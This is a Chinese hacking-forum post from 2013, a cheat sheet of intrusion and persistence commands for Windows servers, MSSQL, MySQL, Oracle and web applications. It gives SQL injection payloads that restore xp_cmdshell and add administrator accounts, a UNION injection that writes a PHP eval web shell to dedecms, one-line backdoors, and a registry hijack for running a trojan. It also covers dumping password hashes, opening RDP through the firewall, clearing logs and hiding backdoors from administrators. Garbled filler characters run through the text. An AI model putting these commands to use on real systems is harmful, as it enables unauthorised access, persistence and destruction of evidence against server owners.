找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 5157|回复: 0
打印 上一主题 下一主题

渗透技术大全

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:24:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  ~$ O/ a! g$ j0 {# i
1.net user administrator /passwordreq:no: t# k2 W( x' X8 t
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了; X5 _" t% p: A# m+ V$ z
2.比较巧妙的建克隆号的步骤! ?" q- }" X: h3 d* |! _" |' X
先建一个user的用户; g5 q% {& n& C$ r, H" o8 `
然后导出注册表。然后在计算机管理里删掉
: B6 b+ r; ~$ `- w( C2 y在导入,在添加为管理员组- \% X# \. c* \3 |
3.查radmin密码
5 g  g$ g; V7 w: B/ _4 Treg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
; I. @+ _6 U) J& |$ W4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]
9 U. d0 P: A' p建立一个"services.exe"的项( x# C6 w) ^* k6 R$ ^: n. |" i
再在其下面建立(字符串值)
8 e& x3 V, A6 O/ C! T键值为mu ma的全路径& u9 m* B6 y: s) j
5.runas /user:guest cmd
- ?3 H7 P- T) v5 [, {测试用户权限!) r* s' }! b4 [+ Q; _
6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?7 i& J( u1 _: B
7.入侵后漏洞修补、痕迹清理,后门置放:
, M0 e% }$ l  V6 Q: d" k  J基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
6 U: O9 M; |; }. ~! a/ ^- W8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
# Z# T2 K9 T2 ?! Q
4 L7 z- }5 u2 t: l2 a0 o% y* Tfor example2 K/ x, w% _. Q) ?) G3 T" U
! @  Y$ J% y8 G- b. z( o6 ?2 a9 t
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add') Z( `- n0 M* {- V2 K

: w! g  T0 X. v. l9 jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'
8 J$ }/ U7 O; m3 W0 u. C; M3 m0 W7 A
! `! k8 Y: M# i3 V/ ^: \9 \8 z/ t' w9:MSSQL SERVER 2005默认把xpcmdshell 给ON了( `. `" G# I9 K
如果要启用的话就必须把他加到高级用户模式
+ W. U9 g8 U/ W: G2 K6 f可以直接在注入点那里直接注入5 d0 N/ N+ ^$ z$ U
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
3 a2 Q% o$ K! p5 o1 A然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--% z  w" ]! N  a: x
或者
% C9 N) u7 U* E5 {1 \" l) _sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
( q) f6 T& S+ g5 L' h6 p) d来恢复cmdshell。; @' x. q2 Z. f* ^5 [

4 T  l1 O  ~" M/ E分析器% s7 {0 i) |9 D! }9 _
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
: [! ]) A! P0 a2 H* ^然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
- t( Q$ f4 h  B) \" R+ O+ L10.xp_cmdshell新的恢复办法: A: q) O+ G# l+ z5 T# c* l1 q
xp_cmdshell新的恢复办法
- L/ H7 d- F9 G扩展储存过程被删除以后可以有很简单的办法恢复:5 W4 @2 a5 R9 r: L
删除' O6 I- ]8 U$ L" l% ?/ B
drop procedure sp_addextendedproc) Q" Q) v! O$ |) {4 b) e% A
drop procedure sp_oacreate6 k6 v% V+ |* O. K
exec sp_dropextendedproc 'xp_cmdshell'5 q! Z- J0 @, m

8 f( Q, m4 b& Q, s( U* z$ r恢复9 f) Z% R: c2 v$ z3 _& M/ X
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
' K' H+ y9 ?& X* q. i' X6 \0 `5 Gdbcc addextendedproc ("xp_cmdshell","xplog70.dll")& }+ c/ X  j* v5 A, c! P
* ~6 n+ f0 s4 h7 D, T+ X; a
这样可以直接恢复,不用去管sp_addextendedproc是不是存在. A7 o, Q- R& q# V
) B+ L% V% M) o" ]: h
-----------------------------7 h, z7 l. y3 F* b& n
& H+ B7 Z6 e- I/ R* M
删除扩展存储过过程xp_cmdshell的语句:
! C" N* e* z$ m: P% d* |" ^exec sp_dropextendedproc 'xp_cmdshell'
3 T1 J( J% H5 f2 i' Q: g  H) T; k7 y  G6 ~/ l
恢复cmdshell的sql语句0 `, }) c. P9 V4 N
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'9 B# R/ v8 S, w
3 d$ d/ Q0 ~& R0 }% T
  ?# r" B& d5 Z
开启cmdshell的sql语句
) w" n7 {6 I8 s$ F/ E7 S, p9 P: R0 e" ?+ x
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
( g4 i. g+ M* w9 c7 D6 b, S
; K" w/ f, }# @6 E: |+ Z) c判断存储扩展是否存在* v2 z5 k. l' f7 P# m2 b" o
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'2 l' J) U" r- g: w! e% H; P; _
返回结果为1就ok8 i! n5 h: G) T7 N* u- f
1 ]7 ]4 Q: ]2 z5 a. c0 n. S
恢复xp_cmdshell
2 j9 @! j+ q2 a1 ]9 B3 P: {# |( Rexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
5 l9 Z% u, K. p# [* O5 S5 O返回结果为1就ok1 h( Z' h4 _6 R
, d" s8 [9 h$ y" k% G
否则上传xplog7.0.dll9 @9 S5 ~' T2 D" N
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
! I9 ]& W# \4 Q3 g) w+ U9 D! L) }  r' }% T4 f2 e; _5 X
堵上cmdshell的sql语句
: F1 ?9 i) z2 s( q% fsp_dropextendedproc "xp_cmdshel1 O& q% N' F* p' d4 r# p
-------------------------+ ^' F6 ~# c3 I2 v- P& J" T- B/ H* ?
清除3389的登录记录用一条系统自带的命令:5 l. f/ E* g$ S; p  H$ f
reg delete "hkcu\Software\Microsoft\Terminal Server Client"  /f2 `, d1 E4 u6 \( _# J/ T8 i7 }0 g

; {6 I( C' I- t然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
& M" z1 H( G4 Z# y, r在 mysql里查看当前用户的权限* a/ ^9 o! D( e$ V. B
show grants for  
# X6 [3 A2 L+ e8 z0 l; O3 J9 R. Y" R9 E" v' N- `+ p  m% A
以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
. x8 z+ \4 y1 d* O+ o- J* X& H0 V
4 v: p0 _" j, t
$ v( r. @/ r. c  vCreate USER 'itpro'@'%' IDENTIFIED BY '123';) }* x' q2 u4 z$ x1 a% l

: K# ]; i' a0 b1 HGRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
' y, U5 G4 @# s- `2 Z4 Q3 m3 u5 E4 m7 U/ w4 Y& ~9 u6 [9 W. r
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0$ K2 t( u" `; c) o& k6 T3 n
0 L. j# M. Y- a9 \  U
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;& e4 {" `# n( Q

2 P, \; `) @  }$ s搞完事记得删除脚印哟。% ^  g% S( M: b  W; d7 \

$ G! j$ K6 ?3 Z* k* f$ J( x1 TDrop USER 'itpro'@'%';
; \  w+ y# i& F0 f$ n
/ x( L1 C0 f' D7 x# t, sDrop DATABASE IF EXISTS `itpro` ;
; W6 F+ l. _4 U( U7 j" }0 x" _3 s* t4 y8 P2 F2 V$ A# ]) t: I/ [+ U
当前用户获取system权限; f& y9 a2 a5 P& U% f7 j
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact
7 n% ~: C7 u) k8 W4 D1 n" p& \sc start SuperCMD7 g+ U' I8 q+ R5 N6 Z) w# s
程序代码
! G6 ]0 _; K0 Q" X; W) t! H<SCRIPT LANGUAGE="VBScript">- j" ?2 X( X1 `4 B$ }$ L7 S
set wsnetwork=CreateObject("WSCRIPT.NETWORK")4 }# }/ n5 w0 [8 @0 l! d; A
os="WinNT://"&wsnetwork.ComputerName1 V3 W& q/ v0 g$ p
Set ob=GetObject(os)
; b/ w& q8 f; w5 I, I9 qSet oe=GetObject(os&"/Administrators,group")
- f! D2 x7 V# I1 V1 v) D& D: oSet od=ob.Create("user","nosec")  n/ a- C. `7 Z3 G8 ~+ U- E
od.SetPassword "123456abc!@#"
* O1 c+ j; m& sod.SetInfo( L/ }) L* m: P9 K: D
Set of=GetObject(os&"/nosec",user)
4 ]" T/ m' Z, [3 ]- ?3 roe.add os&"/nosec"
' S$ f2 V8 d6 S4 B$ H$ W</Script>
$ l7 n9 Y8 L4 G* `) O, U6 G<script language=javascript>window.close();</script>+ t# p8 m8 z* E4 ~9 W! T. k. L5 {
3 Q( X+ y9 G+ T

% q# l- k5 h/ e8 T8 R* V: n& H* S  f( V

0 j- q) Q2 ?2 w0 c" Y0 p突破验证码限制入后台拿shell
: x% ~+ Q, Z" g% E# M% B程序代码/ F1 q1 q  [0 v
REGEDIT4
  A3 c0 L+ j% N0 A3 e8 ^1 Y1 V[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security] 3 R# t% ^$ ^" M% p# A) {9 O# M
"BlockXBM"=dword:00000000
6 V. n/ t5 k. I7 R* V# L7 r9 g  P# l7 C$ f0 }1 H3 I7 U
保存为code.reg,导入注册表,重器IE
+ O$ J, g" T* R  j6 o7 D+ Z# q就可以了
% }7 ?. c* u/ G4 ^# |; V  U. Bunion写马9 I7 x+ L: ?+ `" {, |
程序代码
% p, t' E* ?0 b8 u7 N! Ewww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*) B  O( i5 [* W' x. C" `
; Q( y7 r8 f3 r1 t/ t& g, w
应用在dedecms注射漏洞上,无后台写马
+ ]8 W. z, b; y; f, Qdedecms后台,无文件管理器,没有outfile权限的时候. a( O+ ]9 Q1 J' t" [& {6 X
在插件管理-病毒扫描里" a1 W3 [" D+ O; J
写一句话进include/config_hand.php里
  E9 v$ z/ M8 V. W6 a& n, ]程序代码
& ^) i; J, F9 ]+ f9 K>';?><?php @eval($_POST[cmd]);?>$ S' M+ J" s7 Z: Y* B
" C" Q* S6 `9 u

: N' R8 \( |- v) d) M如上格式2 V& T+ y' C8 Y" M: L6 M2 Q

, t% o; k9 d5 V+ ], m  @  z: ooracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
' v* P* E' q, G" l+ Q& F0 f程序代码
* V; J9 E3 f( Nselect username,password from dba_users;
  K8 J8 f% ~& p. @
) _3 g$ o" j: F0 R' {& {5 a6 {7 h( c4 M7 J% H" o8 K
mysql远程连接用户% S% O9 R( f- P0 E
程序代码
+ ~+ E) k7 g/ e+ b' Q5 d# l% j9 g) J$ S* o) S/ T
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';" v9 }: }, U4 \! M9 d4 {4 J8 p9 A
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION2 a, r6 k9 L# [9 k: i
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0  v7 I% a5 X9 n& Z5 ^5 s
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;5 T; l$ s( Y6 f+ q; ~
# l4 N1 _& R- V, m/ C6 X* H
5 h/ F2 L  p8 b2 X5 U
6 v) M+ a+ H8 N3 L  w3 v- {
' e: @! P1 T8 Z
echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
2 V5 a+ ~6 k: A& o
# T' g- _, U+ V! q) w4 v1.查询终端端口5 b: g! V8 R$ `. r
8 m& x3 S& u0 d
xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber; _/ T9 S9 @, \- ?

# m: r4 h! O1 H通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"" F2 e2 E9 O% u  B; A, l$ S
type tsp.reg1 ?! r3 Z% m+ o2 j* A
- A% I( l0 ^& @4 m9 a- @& T
2.开启XP&2003终端服务* q9 l8 x2 D9 b

3 ~1 L# v5 q# ~! ^3 l5 `
) t$ }: s; E  v0 A9 @' `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
( i; ?9 U* q1 l: ?) r, D+ _6 v/ ~' X3 B" ^

1 n8 s6 \  m7 D# GREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
0 G2 C7 h- f/ J1 g0 b" V/ s( H
: z* `+ b& H5 f& V$ s/ c3.更改终端端口为20008(0x4E28)7 M& j  l6 }% n# B( b
; A0 o9 q. L+ y" r6 [; a8 @3 B
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f: y% J" U& D% }1 N$ _. g. O
9 I4 T- Y! a, @0 d' Q1 A" t1 e
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f4 Q% P  \8 u' f9 K# |
6 m! N7 D, f7 i* p
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制5 \: C0 l+ \6 }) Q. k8 C+ P& }7 O  R& ?
6 L0 i2 \* X9 J. D  _
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f6 l6 n- M  T/ ^9 t5 d  Y* r. `2 w
; D  v! p1 m6 y$ i6 W$ x7 }4 q
; N% y7 k6 k7 }0 p. G- c& r
5.开启Win2000的终端,端口为3389(需重启)9 V% {! r  g2 v8 z7 \

8 }4 S$ x4 L8 u( ]0 \1 J& L- \$ xecho Windows Registry Editor Version 5.00 >2000.reg
6 ?& h. l; r- `/ Z' decho. >>2000.reg
% ]. A: G5 ^' u; yecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg , V7 i7 _2 u: C( w
echo "Enabled"="0" >>2000.reg
: N3 H" z: O3 }+ c1 _4 g: G# G; Recho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg % s# L2 i' F9 A  }! S1 w
echo "ShutdownWithoutLogon"="0" >>2000.reg
3 d" \: V' G" m+ t' G. vecho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg 0 s- N9 }6 ?9 G4 Z
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg
: ]$ ^* T- D7 v1 uecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg . s# |9 t: k6 r8 i: `- h9 \
echo "TSEnabled"=dword:00000001 >>2000.reg
% |! w7 M5 V3 P3 m* vecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg
* |! D5 `- l/ f' _% Uecho "Start"=dword:00000002 >>2000.reg
, A( n3 n& q% F2 b" m7 E9 D# t: Lecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg : @4 R" C  z; @/ o
echo "Start"=dword:00000002 >>2000.reg ; `, Z! \1 I" {! s, J! J
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
# H5 O: E7 Q! a6 Z9 recho "Hotkey"="1" >>2000.reg
. d$ F0 [% {  h% Z% L& Y9 Eecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg
; w7 o2 d, T# B  \echo "ortNumber"=dword:00000D3D >>2000.reg $ W1 u: d) T* O& Z1 [8 E! H" Z4 `
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg ( N7 B7 ~$ |! m2 O5 D
echo "ortNumber"=dword:00000D3D >>2000.reg$ O- w; c  T" G1 [. w& t

( ~- {5 k% Q2 Z! T. u# o0 N6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
+ k- p! o9 Z6 J) @/ x) w0 z$ |( c% l" [& ~3 W
@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
% |: U6 s, k; P$ H& s2 ?; F(set inf=InstallHinfSection DefaultInstall)- t# d% d6 m6 g9 U' `* U% [
echo signature=$chicago$ >> restart.inf
3 ~" C+ ~+ |& [& Iecho [defaultinstall] >> restart.inf' N+ U' {3 C. B
rundll32 setupapi,%inf% 1 %temp%\restart.inf
$ j5 d0 }* O* u! z2 S' o9 }  C+ ^2 ~9 @/ Y% S4 M3 T

4 D( m1 q2 k9 N7.禁用TCP/IP端口筛选 (需重启)& N% Z, n3 l4 G" {4 f# b: H' q
/ e: w9 a4 N! X1 ~1 r3 b- Z
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
2 b* k# B" p2 a- I7 v3 G( i2 B2 I" z* o: W: L9 L* @( w$ X% B8 [! N. F. N
8.终端超出最大连接数时可用下面的命令来连接6 i( G& j$ u" E3 S4 L2 D% F
% Y( o+ ~: C% L9 ?( \
mstsc /v:ip:3389 /console9 H+ k' t- X, F0 U+ O3 o

* Q4 Y" [0 @: Y% s8 e2 h9.调整NTFS分区权限, }( Q, m  D4 C& `7 q. b! K

+ y/ h3 P5 @' C' `cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
9 v; e9 ~& l0 G! _3 u+ b( ]1 e) ^8 R
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)
* Q  l! t/ X) Y- z5 }/ F1 W/ n
+ K  W" v- c2 t5 z) m4 I. z------------------------------------------------------
8 E: d0 N0 v  L! W- H3389.vbs
5 c' F1 g) Z4 T) h$ f1 HOn Error Resume Next
/ r! C% M1 B" k$ k* cconst HKEY_LOCAL_MACHINE = &H80000002+ o% G- E- \/ C" y
strComputer = ".". c! h7 Q8 X; h* b0 Z
Set StdOut = WScript.StdOut
) P; Z2 p! i3 W, f! O* ~' @2 @Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_7 u% Q6 U  f2 @. H% v
strComputer & "\root\default:StdRegProv")5 V6 ~2 G1 l9 T! E9 w% G, J# i
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
$ `3 P  l) n9 q5 V( goreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath% v- O" D" w$ @) X1 j6 q! r
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"1 P% W6 w* |* h# b0 ^
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
( ]5 i/ S9 S- t; c( h: c8 wstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"; Q6 i; J& I" ?" A8 Y& T- H
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
% S8 @9 ^% i/ ?, v& g: \5 ustrValueName = "fDenyTSConnections"6 K3 t1 P! j4 M4 W7 z5 n
dwValue = 0+ C5 V9 @( i0 ^
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
/ J% J8 i/ B4 T" |strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
/ X6 q( ]4 P4 v& ^! o3 y3 a: AstrValueName = "ortNumber"  L" ]1 [: M" u/ H, K2 w6 |
dwValue = 3389
* W* N2 c* Z& woreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
! D( h) v- c  S! _strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
* J% a+ [$ }; w2 j; kstrValueName = "ortNumber"
% A: T, _' u8 o" q* n7 idwValue = 3389. ^/ f; b' ~) }# M* f
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
% C9 _* H0 [+ ]6 S6 FSet R = CreateObject("WScript.Shell")
9 M8 p* k- @7 D$ GR.run("Shutdown.exe -f -r -t 0") * `% L% T- T( w- U! w/ G6 s

. Q5 Q3 G6 @( R6 H删除awgina.dll的注册表键值  e& d/ G$ b) @2 W9 }
程序代码. U( P1 C1 @; D/ ?- o

' u. X+ m: \" F* p4 n: Ureg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f9 c# Y" z4 x2 \: ~

6 C5 k' `- B: t
: E+ v3 s2 j4 V8 W3 ?9 z1 W+ H3 {: n8 T
, i$ @' S0 T0 q6 i7 z4 X. U! s2 M2 k; a
程序代码
9 @5 D  K: ~; x; R8 lHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash2 n+ c( ?8 V1 q) g2 f" ~0 w' X
3 Q; Q( `% |$ g1 b5 }# U
设置为1,关闭LM Hash; n0 v- X/ W, c! c& C
& s0 }) [9 z' m8 Q. B
数据库安全:入侵Oracle数据库常用操作命令4 d! ~! B- u  Y" U# I+ }: h
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。' p8 N3 @! w9 i# t4 }# f
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。+ m3 y( g# _! g+ m& X: O
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;0 f/ z+ j6 I' }' m, x- x/ X
3、SQL>connect / as sysdba ;(as sysoper)或
8 o' g0 o5 {4 _/ Z1 ]' Tconnect internal/oracle AS SYSDBA ;(scott/tiger): M! f; N2 F, X" @2 Y. F8 P4 {
conn sys/change_on_install as sysdba;  \- d% E# [" j: p
4、SQL>startup; 启动数据库实例& ^* C* a- u0 a6 b: C" B
5、查看当前的所有数据库: select * from v$database;
+ \$ r5 ~/ t, O. I: |5 ~6 h2 Wselect name from v$database;* i! Y* m3 f2 p3 w- Z7 v3 T
6、desc v$databases; 查看数据库结构字段
, O8 M: g2 c1 h4 f7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
! E. X1 l' G8 C5 h5 n( h( n4 SSQL>select * from V_$PWFILE_USERS;1 z) c8 ?+ `$ a$ N
Show user;查看当前数据库连接用户) s6 L  R2 V' P! b3 L" t- d
8、进入test数据库:database test;
% l$ K1 L/ M3 j. u. y+ S9、查看所有的数据库实例:select * from v$instance;
/ ~' Y: Z" T7 I; ~6 c# k; l# J如:ora9i
* M( B& b9 b/ y. M  t) k10、查看当前库的所有数据表:
3 m( x. F7 G) Z) n, \4 A/ @SQL> select TABLE_NAME from all_tables;7 F  x3 j- x. E9 |# q- }3 i% I
select * from all_tables;
6 B3 F6 r' o# u9 v1 h1 ?SQL> select table_name from all_tables where table_name like '%u%';4 Q  }/ D9 H8 h! B: E/ D9 |3 G$ Z
TABLE_NAME
" P: a) r% l# a# t------------------------------
2 [' n6 x, Z( a& i_default_auditing_options_* b0 c# L8 z3 v( `  E5 q
11、查看表结构:desc all_tables;" B* ]; z$ d' ]) o
12、显示CQI.T_BBS_XUSER的所有字段结构:. u" M8 M1 {4 ?( Y
desc CQI.T_BBS_XUSER;5 s3 U5 Q! @  `0 M; ~1 n
13、获得CQI.T_BBS_XUSER表中的记录:( m  f( Q+ [6 P5 }$ G3 B/ W$ ]( j) ~
select * from CQI.T_BBS_XUSER;
- v* Y$ l5 [+ U$ J14、增加数据库用户:(test11/test)
) S: v4 ]2 f/ t8 k* l3 d6 S( fcreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
6 E5 g8 z! w; z8 ]2 O15、用户授权:& B: _: l- s9 f8 I9 M5 c: I( E
grant connect,resource,dba to test11;
9 f; l: H& |* f& ~- T) s/ s- Hgrant sysdba to test11;% \2 l3 q  I/ z" B! z
commit;$ u; t  Q( F# a. N4 w
16、更改数据库用户的密码:(将sys与system的密码改为test.)8 b7 L3 F1 s- z& ?' g* I$ p# M
alter user sys indentified by test;! H+ v( Q# w5 H" J* m6 D0 T+ z$ Y
alter user system indentified by test;0 R* O' C9 ]3 X7 M2 V& g1 {- h, h% N- \

2 E$ f+ M3 [( M9 CapplicationContext-util.xml
; u! G# @- \( ]) y/ R% s/ L8 Y( UapplicationContext.xml% P5 Y8 L8 Q' @1 V
struts-config.xml
. H# h% H  n! a( ]  G. iweb.xml! W' K/ |- m, r/ E- C9 v5 T# X
server.xml, e, T. y$ q& q% K
tomcat-users.xml1 a4 j( O: T  u$ `+ O* M2 R" {  n3 b
hibernate.cfg.xml
7 C" ]; Y+ u. Mdatabase_pool_config.xml: I' ]6 x6 Y3 ~

" b2 q# Q' R3 {  H, m) r; \) G* V1 {# N9 |+ Q4 o
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置
) x  r8 n0 m( F+ H! k\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini$ H7 c4 ^9 A  m5 S
\WEB-INF\struts-config.xml  文件目录结构
, Y! u6 M8 E, W; Z! Y5 r! H/ B2 r: I9 t; y. E9 U
spring.properties 里边包含hibernate.cfg.xml的名称
" ]6 L$ _- P$ i0 D# n  Y, I6 V& V9 p$ D1 f1 u' e, J

" P' Q8 C7 X$ S6 fC:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml
3 g% R$ m/ B  g  |9 {* }6 P) u* Z6 R3 |
如果都找不到  那就看看class文件吧。。2 b  a3 y( v/ a) ^9 E3 f
9 }7 N4 V7 b0 N" t+ k* o
测试1:
2 n' o0 C; Y2 s% w6 bSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1# ^6 ~5 d$ _9 y7 ]) ]
9 x8 L2 \4 |5 `$ n
测试2:3 V9 ]% `- M6 z; Q- V
- l) r( ~7 I/ l) s3 t* K% f
create table dirs(paths varchar(100),paths1 varchar(100), id int)4 e: j# z" l& w2 l1 O7 T  ?, \
' J) l& }: R# z( L3 S0 E- {0 u: i
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--6 `7 H( }- G' ]$ `. s4 i  c
2 Z8 U5 I( e  `  a6 [& t# A
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
: q, j! R9 c" Q# J* {# J4 L' o
. M4 }: ]8 R; K查看虚拟机中的共享文件:
3 e3 m6 S& i! L/ n1 A" F( W在虚拟机中的cmd中执行; Q4 u% \5 v; W8 p  i. `5 S! C
\\.host\Shared Folders) U" {1 i. p) X( @. Z: X

, [# A% l* K4 Z  A7 ^cmdshell下找终端的技巧
) U. \4 h! h$ E7 H; m找终端:
% w$ Y( Y; O3 c0 |4 }第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! ; ~0 B$ x1 u& e+ x( w: w3 D
   而终端所对应的服务名为:TermService
5 t# I$ [! A6 }1 ~$ l5 [. q第二步:用netstat -ano命令,列出所有端口对应的PID值! ! M% B9 x% P& ]2 R  `
